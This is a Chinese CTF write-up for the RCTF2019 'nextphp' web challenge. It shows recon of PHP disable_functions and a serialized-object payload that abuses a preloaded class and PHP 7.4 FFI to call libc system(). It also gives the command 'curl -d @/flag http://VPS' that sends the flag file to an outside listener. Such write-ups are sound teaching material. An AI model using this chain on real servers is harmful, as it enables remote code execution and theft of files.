RCTF2019-WEB-nextphp

RCTF-web-nextphp

<?php
if (isset($_GET['a'])) {
        eval($_GET['a']);
} else {
        show_source(__FILE__);
}

http://192.168.1.8/?a=var_dump(scandir(getcwd()));

http://192.168.1.8/?a=show_source("preload.php");

 <?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

收集一波phpinfo的信息

disable_functions	set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir	/var/www/html
opcache.preload	/var/www/html/preload.php
FFI
FFI support	enabled
disable_classes	ReflectionClass	ReflectionClass
安装php7.4-dev

apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install
☁  bin  ./php --version
PHP 7.4.0-dev (cli) (built: May 30 2019 19:12:10) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0-dev, Copyright (c) Zend Technologies
☁  bin  ./php -r '$ffi = FFI::cdef("int system(char *command);","libc.so.6"); $ffi->system("whoami");' 
river
☁  bin  ./php -r '$ffi = FFI::cdef("int system(char *command);",           ); $ffi->system("whoami");'
river
☁  bin  ./php -r '$ffi = FFI::cdef("int system(char *command);",           ); $ffi->system("id");'    
uid=1000(river) gid=1000(river) groups=1000(river),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),128(docker)

这样的话,我们就可以利用 preload.php 中类 A 的 run 方法直接执行命令了,也就可以直接绕过 disable_functions 等限制。通过如下脚本生成 exp :

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];
    private function run () {
        echo "run<br>";
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
    public function __get ($key) {
        return $this->data[$key];
    }
    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }
    public function __construct () {
        echo "__construct<br>";
    }
}
$a = new A();
echo base64_encode(serialize($a)); // 即payload

这里的EXP代码中删除了原有的 __serialize__unserialize 两个函数,这是因为在反序列化时会触发 __unserialize 函数,这一特性是在PHP7.4中新加入的,具体可参考:https://wiki.php.net/rfc/custom_object_serialization

然后访问 http://题目/?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令); ,这里的命令执行的结果不会回显,可以用VPS接收flag,执行命令 curl -d @/flag http://VPS 就行了。

➜  river nc -lvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [192.168.1.8] port 8888 [tcp/*] accepted (family 2, sport 58150)
POST / HTTP/1.1
Host: 192.168.1.7:8888
User-Agent: curl/7.52.1
Accept: */*
Content-Length: 24
Content-Type: application/x-www-form-urlencoded

RCTF{Do_y0u_l1ke_php74?}

后来又想为什么不直接通过那个 shell 利用 FFI (直接不用那个反序列化),结果试了发现不行。再次查看文档,发现如下描述:

FFI API opens all the C power, and consequently, also an enormous possibility to have something go wrong, crash PHP, or even worse. To minimize risk PHP FFI API usage may be restricted. By default FFI API may be used only in CLI scripts and preloaded PHP files. This may be changed through ffi.enable INI directive. This is INI_SYSTEM directive and it’s value can’t be changed at run-time.

  • ffi.enable=false completely disables PHP FFI API
  • ffi.enable=true enables PHP FFI API without any restrictions
  • ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts

原来默认 ffi.enable=preload 且仅在命令行模式和 preload 文件中可用,在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

Ref:
https://mochazz.github.io/2019/05/21/RCTF2019Web题解之nextphp/

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值